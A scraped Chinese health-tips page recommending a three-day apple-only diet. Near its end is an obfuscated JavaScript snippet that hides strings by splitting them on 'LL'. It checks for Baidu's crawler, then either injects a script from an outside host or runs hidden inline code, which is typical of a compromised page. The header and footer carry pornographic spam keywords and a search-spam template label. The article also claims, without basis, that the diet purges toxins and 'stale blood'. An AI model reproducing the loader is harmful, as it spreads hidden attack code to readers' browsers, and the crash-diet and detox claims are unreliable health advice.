久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

有沒有不運動的減肥方法

2017-04-22 00:49:20  來源:360常識網   熱度:
導語:減肥是喝多女性經常都有的想法,因為減肥成功之后身體就會更健康,也會更有型。到那時說道運動減肥,或者是少吃,很多人都做不到。比較懶的

減肥是喝多女性經常都有的想法,因為減肥成功之后身體就會更健康,也會更有型。到那時說道運動減肥,或者是少吃,很多人都做不到。比較懶的確不容易減肥成功,但是今天就教大家懶人減肥的辦法。不用怎么運動,但是在飲食方面要稍微節制一些。所以,下面就介紹一個有關于蘋果減肥的方法。

步驟/方法

蘋果減肥的方法

①連續三天只吃蘋果,不吃其他水果和食物。

②你可以按照三餐的時間吃蘋果,或是肚子餓就吃,吃飽為止。

③不管什么種類的蘋果都可以,不過,最好是紅蘋果。青蘋果比較酸,怕會刺激腸胃。

④蘋果要吃新鮮的,而且要洗凈削皮,避免農藥殘存。

⑤在這三天內,口渴時,你可以喝開水或沒有刺激性的茶水,例如薄荷茶、麥茶、紅花茶、魚腥草茶等。

⑥減肥期間,你的腸胃會很敏感,所以要避免喝有咖啡因的飲料,例如紅茶、咖啡、綠茶、烏龍茶等,以免腸胃不適。

⑦在蘋果減肥期間,如果出現便秘問題,可以在第三天晚上,喝一兩湯匙的橄欖油潤腸,促進體內積蓄的毒素排泄。

三天后的飲食要點

三天的蘋果減肥結束后,因為遠離了刺激性食物,所以你的腸胃會很柔嫩,味覺也很敏感,而且胃會變小。

第四天開始,你的飲食要慢慢恢復,不能一下子就吃很多食物,尤其不要吃零食。恢復飲食的頭三天,最好先從吃粥、吃豆腐等開始。

總之,減肥后恢復飲食時,食物要清淡而且不要過量,這樣一來,減肥的效果才會持續。

蘋果減肥等于身體消化系統的大掃除。如果你真的很胖,想要做一次蘋果減肥就恢復身材是不可能的。最好每一兩個月就進行一次,直到減至理想體重為止。

蘋果能減肥的5大理由

①因為食物攝取量減少,所以腸胃等消化器官得以休養。節食期間,借著少吃或定期減肥,可讓消化系統休息,恢復本來的機能,并且正常操作。

②蘋果減肥提高了腎臟或腸胃功能,排出體內廢氣,凈化血液。它能把體內的淤血(老舊殘污血液)、宿便(老舊糞便)、水毒(造成水腫的原因)排出,身體也變得更健康。

③蘋果減肥使人體攝入的熱量減少,不足部分就需要體內積蓄的熱量供給。所謂體內積蓄的熱量即脂肪。體內的多余脂肪消耗掉,人自然會變瘦。

利用蘋果減肥其實好處多多,因為每天吃蘋果的人不容易生病。這是因為蘋果可以提高身體 免疫力和抵抗力,就減少了生病的幾率。這也是一天一蘋果,遠離醫院和醫生的說法由來。并且蘋果還能夠美容護膚,使胃部有飽腹感,還能夠空腹吃,就減少了吃其它食物的可能性。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 男女视频网站 | 97成人精品视频在线观看 | 成人欧美一区二区三区白人 | 一级视频在线观看 | 国产裸体永久免费视频网站 | www.一区二区三区 | 亚洲一区视频 | 特级淫片裸体免费看 | 久久xxx| 夜夜爽99久久国产综合精品女不卡 | 99久久久无码国产精品 | 91色爱 | 欧美福利影院 | 国产一区二区三区四区在线观看 | 91九色视频在线 | 中文字幕不卡av | 综合99| 亚洲精品一二三四五区 | 热re99久久精品国99热线看 | 久久成人综合网 | www国产精品| 欧美高清成人 | 国产精品视频免费观看 | 久久综合久色欧美综合狠狠 | 亚洲精品高清视频 | 欧美精品在线不卡 | 一区免费视频 | 亚洲97| 九九热这里| 欧美99 | 日本一区二区精品 | 91精品国产综合久久久亚洲 | 国产视频一区二区 | 国产精品国产精品国产专区不卡 | 欧美一区二区三区免费在线观看 | 日韩欧美一区二区三区久久婷婷 | 国产亚洲精品成人av久久影院 | 91精品久久久久久久99 | 日日爱夜夜爽 | 色综合久久88色综合天天 | www中文字幕 |